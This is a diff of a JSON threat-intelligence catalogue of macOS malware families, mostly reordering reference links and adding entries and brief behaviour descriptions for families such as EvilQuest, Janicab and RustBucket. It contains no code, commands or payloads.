"https://twitter.com/ConfiantIntel/status/1393215825931288580?s=20", - "https://labs.sentinelone.com/resourceful-macos-malware-hides-in-named-fork/" + "https://www.trendmicro.com/en_hk/research/21/f/nukesped-copies-fileless-code-from-bundlore--leaves-it-unused.html", + "https://blog.confiant.com/new-macos-bundlore-loader-analysis-ca16d19c058c", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf" ], "synonyms": [ "SurfBuyer" @@ -8260,8 +8756,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.cdds", "https://www.sentinelone.com/labs/infect-if-needed-a-deeper-dive-into-targeted-backdoor-macos-macma/", - "https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/", - "https://objective-see.com/blog/blog_0x69.html" + "https://objective-see.com/blog/blog_0x69.html", + "https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/" ], "synonyms": [ "Macma" @@ -8276,9 +8772,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.choziosi", - "https://redcanary.com/blog/chromeloader/", - "https://www.th3protocol.com/2022/Choziosi-Loader", "https://www.gdatasoftware.com/blog/2022/01/37236-qr-codes-on-twitter-deliver-malicious-chrome-extension", + "https://www.th3protocol.com/2022/Choziosi-Loader", + "https://blogs.blackberry.com/en/2022/11/chromeloader-infects-the-browser-by-loading-malicious-extension", + "https://redcanary.com/blog/chromeloader/", "https://www.crowdstrike.com/blog/how-crowdstrike-uncovered-a-new-macos-browser-hijacking-campaign/" ], "synonyms": [ @@ -8295,7 +8792,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.cloud_mensis", - "https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/" + "https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/", + "https://twitter.com/ESETresearch/status/1575103839115804672" ], "synonyms": [], "type": [] @@ -8308,8 +8806,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.cointhief", - "https://reverse.put.as/2014/02/16/analysis-of-cointhiefa-dropper/", - "https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed" + "https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed", + "https://reverse.put.as/2014/02/16/analysis-of-cointhiefa-dropper/" ], "synonyms": [], "type": [] @@ -8322,8 +8820,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.coldroot_rat", - "https://objective-see.com/blog/blog_0x2A.html", - "https://objectivebythesea.com/v2/talks/OBTS_v2_Seele.pdf" + "https://objectivebythesea.com/v2/talks/OBTS_v2_Seele.pdf", + "https://objective-see.com/blog/blog_0x2A.html" ], "synonyms": [], "type": [] @@ -8354,15 +8852,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "5bc62523-dc80-46b4-b5cb-9caf44c11552", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "74360d1e-8f85-44d1-8ce7-e76afb652142", "value": "CpuMeaner" }, @@ -8371,9 +8860,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.creative_updater", + "https://blog.malwarebytes.com/threat-analysis/2018/02/new-mac-cryptominer-distributed-via-a-macupdate-hack/", "https://digitasecurity.com/blog/2018/02/05/creativeupdater/", - "https://objective-see.com/blog/blog_0x29.html", - "https://blog.malwarebytes.com/threat-analysis/2018/02/new-mac-cryptominer-distributed-via-a-macupdate-hack/" + "https://objective-see.com/blog/blog_0x29.html" ], "synonyms": [], "type": [] @@ -8386,9 +8875,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.crisis", - "https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines", "https://www.intego.com/mac-security-blog/new-apple-mac-trojan-called-osxcrisis-discovered-by-intego-virus-team/?", - "http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html" + "http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html", + "https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines" ], "synonyms": [], "type": [] @@ -8414,17 +8903,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.dacls", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", "https://objective-see.com/blog/blog_0x57.html", - "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability", - "https://securelist.com/mata-multi-platform-targeted-malware-framework/97746/", - "https://www.sygnia.co/mata-framework", - "https://objective-see.com/blog/blog_0x5F.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/", "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://blog.malwarebytes.com/threat-analysis/2020/05/new-mac-variant-of-lazarus-dacls-rat-distributed-via-trojanized-2fa-app/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability", + "https://www.sygnia.co/mata-framework", + "https://securelist.com/mata-multi-platform-targeted-malware-framework/97746/", + "https://objective-see.com/blog/blog_0x5F.html", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", - "https://blog.malwarebytes.com/threat-analysis/2020/05/new-mac-variant-of-lazarus-dacls-rat-distributed-via-trojanized-2fa-app/" + "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/" ], "synonyms": [], "type": [] @@ -8442,15 +8931,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "34688253-fea5-4770-bf96-55f45077c347", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "a8e71805-014d-4998-b21e-3125da800124", "value": "DarthMiner" }, @@ -8473,8 +8953,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.dockster", - "http://contagiodump.blogspot.com/2012/12/osxdockstera-and-win32trojanagentaxmo.html", - "https://www.f-secure.com/weblog/archives/00002466.html" + "https://www.f-secure.com/weblog/archives/00002466.html", + "http://contagiodump.blogspot.com/2012/12/osxdockstera-and-win32trojanagentaxmo.html" ], "synonyms": [], "type": [] @@ -8528,8 +9008,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.evilosx", - "https://twitter.com/JohnLaTwC/status/966139336436498432", - "https://github.com/Marten4n6/EvilOSX" + "https://github.com/Marten4n6/EvilOSX", + "https://twitter.com/JohnLaTwC/status/966139336436498432" ], "synonyms": [], "type": [] @@ -8538,20 +9018,20 @@ "value": "EvilOSX" }, { - "description": "", + "description": "According to PcRisk, EvilQuest (also known as ThiefQuest) is like many other malicious programs of this type - it encrypts files and creates a ransom message. In most cases, this type of malware modifies the names of encrypted files by appending certain extensions, however, this ransomware leaves them unchanged.\r\n\r\nIt drops the \"READ_ME_NOW.txt\" in each folder that contains encrypted data and displays another ransom message in a pop-up window. Additionally, this malware is capable of detecting if certain files are stored on the computer, operates as a keylogger, and receives commands from a Command & Control server.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.evilquest", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://objective-see.com/blog/blog_0x59.html", - "https://labs.sentinelone.com/breaking-evilquest-reversing-a-custom-macos-ransomware-file-encryption-routine/", - "https://www.bleepingcomputer.com/news/security/evilquest-wiper-uses-ransomware-cover-to-steal-files-from-macs/", - "https://www.sentinelone.com/blog/evilquest-a-new-macos-malware-rolls-ransomware-spyware-and-data-theft-into-one/", - "https://objective-see.com/blog/blog_0x5F.html", - "https://github.com/gdbinit/evilquest_deobfuscator", "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities", "https://twitter.com/dineshdina04/status/1277668001538433025", - "https://www.sentinelone.com/labs/defeating-macos-malware-anti-analysis-tricks-with-radare2/" + "https://www.bleepingcomputer.com/news/security/evilquest-wiper-uses-ransomware-cover-to-steal-files-from-macs/", + "https://labs.sentinelone.com/breaking-evilquest-reversing-a-custom-macos-ransomware-file-encryption-routine/", + "https://objective-see.com/blog/blog_0x59.html", + "https://github.com/gdbinit/evilquest_deobfuscator", + "https://www.sentinelone.com/labs/defeating-macos-malware-anti-analysis-tricks-with-radare2/", + "https://objective-see.com/blog/blog_0x5F.html", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.sentinelone.com/blog/evilquest-a-new-macos-malware-rolls-ransomware-spyware-and-data-theft-into-one/" ], "synonyms": [ "ThiefQuest" @@ -8579,12 +9059,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.finfisher", + "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/", "https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/", "https://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/", + "https://objective-see.com/blog/blog_0x4F.html", "https://securelist.com/finspy-unseen-findings/104322/", - "https://objective-see.com/blog/blog_0x5F.html", - "https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/", - "https://objective-see.com/blog/blog_0x4F.html" + "https://objective-see.com/blog/blog_0x5F.html" ], "synonyms": [], "type": [] @@ -8597,11 +9077,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.flashback", + "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities", "https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed", "http://contagiodump.blogspot.com/2012/04/osxflashbackk-sample-mac-os-malware.html", "https://en.wikipedia.org/wiki/Flashback_(Trojan)", - "http://contagiodump.blogspot.com/2012/04/osxflashbacko-sample-some-domains.html", - "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities" + "http://contagiodump.blogspot.com/2012/04/osxflashbacko-sample-some-domains.html" ], "synonyms": [ "FakeFlash" @@ -8616,27 +9096,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.fruitfly", - "https://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/", - "https://arstechnica.com/security/2017/01/newly-discovered-mac-malware-may-have-circulated-in-the-wild-for-2-years/", - "https://www.documentcloud.org/documents/4346338-Phillip-Durachinsky-Indictment.html", "https://objectivebythesea.com/v3/talks/OBTS_v3_tReed.pdf", - "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", - "https://arstechnica.com/security/2017/07/perverse-malware-infecting-hundreds-of-macs-remained-undetected-for-years/" + "https://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/", + "https://www.documentcloud.org/documents/4346338-Phillip-Durachinsky-Indictment.html", + "https://arstechnica.com/security/2017/01/newly-discovered-mac-malware-may-have-circulated-in-the-wild-for-2-years/", + "https://arstechnica.com/security/2017/07/perverse-malware-infecting-hundreds-of-macs-remained-undetected-for-years/", + "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" ], "synonyms": [ "Quimitchin" ], "type": [] }, - "related": [ - { - "dest-uuid": "6a6525b9-4656-4973-ab45-588592395d0c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "a517cdd1-6c82-4b29-bdd2-87e281227597", "value": "FruitFly" }, @@ -8645,8 +9116,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.gimmick", - "https://cybersecuritynews.com/gimmick-malware-attacks/", - "https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/" + "https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/", + "https://cybersecuritynews.com/gimmick-malware-attacks/" ], "synonyms": [], "type": [] @@ -8659,8 +9130,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.gmera", - "https://www.welivesecurity.com/2020/07/16/mac-cryptocurrency-trading-application-rebranded-bundled-malware/", "https://blog.trendmicro.com/trendlabs-security-intelligence/mac-malware-that-spoofs-trading-app-steals-user-information-uploads-it-to-website/", + "https://www.welivesecurity.com/2020/07/16/mac-cryptocurrency-trading-application-rebranded-bundled-malware/", "https://objective-see.com/blog/blog_0x53.html" ], "synonyms": [ @@ -8706,33 +9177,38 @@ "description": "", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/osx.janicab", - "https://sec0wn.blogspot.com/2018/12/powersing-from-lnk-files-to-janicab.html", - "https://blog.avast.com/2013/07/22/multisystem-trojan-janicab-attacks-windows-and-macosx-via-scripts/", - "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://www.malwarology.com/2022/05/janicab-series-first-steps-in-the-infection-chain/", - "https://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/", - "https://www.malwarology.com/2022/05/janicab-series-attibution-and-iocs/", - "https://archive.f-secure.com/weblog/archives/00002576.html", - "https://www.malwarology.com/2022/05/janicab-series-the-core-artifact/", - "https://www.macmark.de/blog/osx_blog_2013-08-a.php", - "https://securelist.com/deathstalker-mercenary-triumvirate/98177/", - "https://www.malwarology.com/posts/5-janicab-part_1/" + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.interception", + "https://labs.k7computing.com/index.php/lazarus-apts-operation-interception-uses-signed-binary/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d4f7ea92-04e7-405c-9faf-7993ffd5c473", + "value": "Interception (OS X)" + }, + { + "description": "According to Patrick Wardle, this malware persists a python script as a cron job. \r\nSteps: \r\n1. Python installer first saves any existing cron jobs into a temporary file named '/tmp/dump'. \r\n2. Appends its new job to this file.\r\n3. Once the new cron job has been added 'python (~/.t/runner.pyc)' runs every minute.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.janicab", + "https://www.malwarology.com/posts/5-janicab-part_1/", + "https://blog.avast.com/2013/07/22/multisystem-trojan-janicab-attacks-windows-and-macosx-via-scripts/", + "https://securelist.com/deathstalker-targets-legal-entities-with-new-janicab-variant/108131/", + "https://www.malwarology.com/2022/05/janicab-series-first-steps-in-the-infection-chain/", + "https://www.malwarology.com/2022/05/janicab-series-attibution-and-iocs/", + "https://archive.f-secure.com/weblog/archives/00002576.html", + "https://sec0wn.blogspot.com/2018/12/powersing-from-lnk-files-to-janicab.html", + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/", + "https://www.malwarology.com/2022/05/janicab-series-the-core-artifact/", + "https://www.macmark.de/blog/osx_blog_2013-08-a.php", + "https://securelist.com/deathstalker-mercenary-triumvirate/98177/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "c3c20c4b-e12a-42e5-960a-eea4644014f4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "01325d85-297f-40d5-b829-df9bd996af5a", - "value": "Janicab" + "value": "Janicab (OS X)" }, { "description": "", @@ -8754,10 +9230,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.keydnap", - "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", - "https://objective-see.com/blog/blog_0x16.html", "https://www.welivesecurity.com/2016/08/30/osxkeydnap-spreads-via-signed-transmission-application/", - "https://github.com/eset/malware-ioc/tree/master/keydnap" + "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", + "https://github.com/eset/malware-ioc/tree/master/keydnap", + "https://objective-see.com/blog/blog_0x16.html" ], "synonyms": [], "type": [] @@ -8785,10 +9261,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.komplex", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf", - "http://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf", "https://objective-see.com/blog/blog_0x16.html", + "http://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", "https://blog.malwarebytes.com/threat-analysis/2016/09/komplex-mac-backdoor-answers-old-questions/" ], "synonyms": [ @@ -8857,6 +9333,20 @@ "uuid": "15daa766-f721-4fd5-95fb-153f5361fb87", "value": "Leverage" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.lockbit", + "https://twitter.com/malwrhunterteam/status/1647384505550876675", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0821b5c8-db48-4d0e-a969-384dbd74a6c9", + "value": "LockBit (OS X)" + }, { "description": "", "meta": { @@ -8868,15 +9358,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "14f08f6f-7f58-48a8-8469-472244ffb571", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "910d3c78-1a9e-4600-a3ea-4aa5563f0f13", "value": "MacDownloader" }, @@ -8951,9 +9432,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.manuscrypt", - "https://twitter.com/BitsOfBinary/status/1321488299932983296", - "https://www.anquanke.com/post/id/223817", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.anquanke.com/post/id/223817", + "https://twitter.com/BitsOfBinary/status/1321488299932983296", "https://twitter.com/BitsOfBinary/status/1337330286787518464" ], "synonyms": [], @@ -8967,8 +9448,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.mokes", - "https://securelist.com/blog/research/75990/the-missing-piece-sophisticated-os-x-backdoor-discovered/", "https://objective-see.com/blog/blog_0x16.html", + "https://securelist.com/blog/research/75990/the-missing-piece-sophisticated-os-x-backdoor-discovered/", "https://objective-see.com/blog/blog_0x53.html" ], "synonyms": [], @@ -8987,34 +9468,25 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "4e2f0af2-6d2d-4a49-adc9-fae3745fcb72", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "aa1bf4e5-9c44-42a2-84e5-7526e4349405", "value": "Mughthesec" }, { - "description": "", + "description": "According to PcRisk, Research shows that the OceanLotus 'backdoor' targets MacOS computers. Cyber criminals behind this backdoor have already used this malware to attack human rights and media organizations, some research institutes, and maritime construction companies.\r\n\r\nThe OceanLotus backdoor is distributed via a fake Adobe Flash Player installer and a malicious Word document (it is likely that threat authors distribute the document via malspam emails).", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.oceanlotus", - "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/", - "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", - "https://github.com/AmnestyTech/investigations/tree/master/2021-02-24_vietnam", - "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", - "https://researchcenter.paloaltonetworks.com/2017/06/unit42-new-improved-macos-backdoor-oceanlotus/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/", "https://about.fb.com/news/2020/12/taking-action-against-hackers-in-bangladesh-and-vietnam/", - "https://tradahacking.vn/%C4%91%E1%BB%A3t-r%E1%BB%93i-t%C3%B4i-c%C3%B3-%C4%91%C4%83ng-m%E1%BB%99t-status-xin-d%E1%BA%A1o-tr%C3%AAn-fb-may-qu%C3%A1-c%C5%A9ng-c%C3%B3-v%C3%A0i-b%E1%BA%A1n-nhi%E1%BB%87t-t%C3%ACnh-g%E1%BB%ADi-cho-537b19ee3468", + "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/", "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update", "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", - "https://labs.sentinelone.com/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/" + "https://researchcenter.paloaltonetworks.com/2017/06/unit42-new-improved-macos-backdoor-oceanlotus/", + "https://labs.sentinelone.com/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/", + "https://github.com/AmnestyTech/investigations/tree/master/2021-02-24_vietnam", + "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/", + "https://tradahacking.vn/%C4%91%E1%BB%A3t-r%E1%BB%93i-t%C3%B4i-c%C3%B3-%C4%91%C4%83ng-m%E1%BB%99t-status-xin-d%E1%BA%A1o-tr%C3%AAn-fb-may-qu%C3%A1-c%C5%A9ng-c%C3%B3-v%C3%A0i-b%E1%BA%A1n-nhi%E1%BB%87t-t%C3%ACnh-g%E1%BB%ADi-cho-537b19ee3468", + "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html" ], "synonyms": [], "type": [] @@ -9041,10 +9513,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.orat", - "https://documents.trendmicro.com/assets/txt/earth-berberoka-macos-iocs-2.txt", + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", "https://www.sentinelone.com/blog/from-the-front-lines-unsigned-macos-orat-malware-gambles-for-the-win/", - "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf", - "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf" + "https://documents.trendmicro.com/assets/txt/earth-berberoka-macos-iocs-2.txt", + "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf" ], "synonyms": [], "type": [] @@ -9100,10 +9572,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.pirrit", "http://www.zdnet.com/article/maker-of-sneaky-mac-adware-sends-security-researcher-cease-and-desist-letter/", - "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf", "https://forensicitguy.github.io/analyzing-pirrit-adware-installer/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.cybereason.com/hubfs/Content%20PDFs/OSX.Pirrit%20Part%20III%20The%20DaVinci%20Code.pdf" + "https://www.cybereason.com/hubfs/Content%20PDFs/OSX.Pirrit%20Part%20III%20The%20DaVinci%20Code.pdf", + "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf" ], "synonyms": [], "type": [] @@ -9111,20 +9583,34 @@ "uuid": "b749ff3a-df68-4b38-91f1-649864eae52c", "value": "Pirrit" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.poolrat", + "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise", + "https://www.3cx.com/blog/news/mandiant-security-update2/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "bfd9e30e-ddc7-426f-8f77-4d2e1a846541", + "value": "POOLRAT" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.proton_rat", - "https://www.hackread.com/hackers-selling-undetectable-proton-mac-malware/", - "https://www.cybereason.com/labs-blog/labs-proton-b-what-this-mac-malware-actually-does", - "https://threatpost.com/handbrake-for-mac-compromised-with-proton-spyware/125518/", - "https://securelist.com/calisto-trojan-for-macos/86543/", - "https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/", "https://objective-see.com/blog/blog_0x1F.html", - "https://blog.malwarebytes.com/threat-analysis/mac-threat-analysis/2017/11/osx-proton-spreading-through-fake-symantec-blog/", + "https://www.cybereason.com/labs-blog/labs-proton-b-what-this-mac-malware-actually-does", + "https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/", + "https://securelist.com/calisto-trojan-for-macos/86543/", + "https://threatpost.com/handbrake-for-mac-compromised-with-proton-spyware/125518/", + "https://objective-see.com/blog/blog_0x1D.html", "https://www.cybersixgill.com/wp-content/uploads/2017/02/02072017%20-%20Proton%20-%20A%20New%20MAC%20OS%20RAT%20-%20Sixgill%20Threat%20Report.pdf", - "https://objective-see.com/blog/blog_0x1D.html" + "https://www.hackread.com/hackers-selling-undetectable-proton-mac-malware/", + "https://blog.malwarebytes.com/threat-analysis/mac-threat-analysis/2017/11/osx-proton-spreading-through-fake-symantec-blog/" ], "synonyms": [ "Calisto" @@ -9144,15 +9630,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "29e52693-b325-4c14-93de-8f2ff9dca8bf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "70059ec2-9315-4af7-b65b-2ec35676a7bb", "value": "Pwnet" }, @@ -9162,9 +9639,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.retefe", "https://blog.checkpoint.com/2017/07/13/osxdok-refuses-go-away-money/", + "http://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/", "https://www.proofpoint.com/us/threat-insight/post/2019-return-retefe", - "https://www.govcert.admin.ch/blog/33/the-retefe-saga", - "http://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/" + "https://www.govcert.admin.ch/blog/33/the-retefe-saga" ], "synonyms": [ "Retefe" @@ -9174,20 +9651,34 @@ "uuid": "80acc956-d418-42e3-bddf-078695a01289", "value": "Dok" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.rustbucket", + "https://www.jamf.com/blog/bluenoroff-apt-targets-macos-rustbucket-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "03f356e6-296f-4195-bed0-9719a84887db", + "value": "RustBucket" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.shlayer", - "https://objective-see.com/blog/blog_0x64.html", - "https://www.crowdstrike.com/blog/shlayer-malvertising-campaigns-still-using-flash-update-disguise/", - "https://securelist.com/shlayer-for-macos/95724/", - "https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://threatpost.com/shlayer-mac-youtube-wikipedia/152146/", - "https://cedowens.medium.com/macos-gatekeeper-bypass-2021-edition-5256a2955508", + "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities", "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", - "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities" + "https://cedowens.medium.com/macos-gatekeeper-bypass-2021-edition-5256a2955508", + "https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/", + "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", + "https://objective-see.com/blog/blog_0x64.html", + "https://threatpost.com/shlayer-mac-youtube-wikipedia/152146/", + "https://securelist.com/shlayer-for-macos/95724/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://www.crowdstrike.com/blog/shlayer-malvertising-campaigns-still-using-flash-update-disguise/" ], "synonyms": [], "type": [] @@ -9200,8 +9691,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.silver_sparrow", - "https://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis", - "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf" + "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", + "https://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis" ], "synonyms": [], "type": [] @@ -9214,10 +9705,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.sysjoker", - "https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/", - 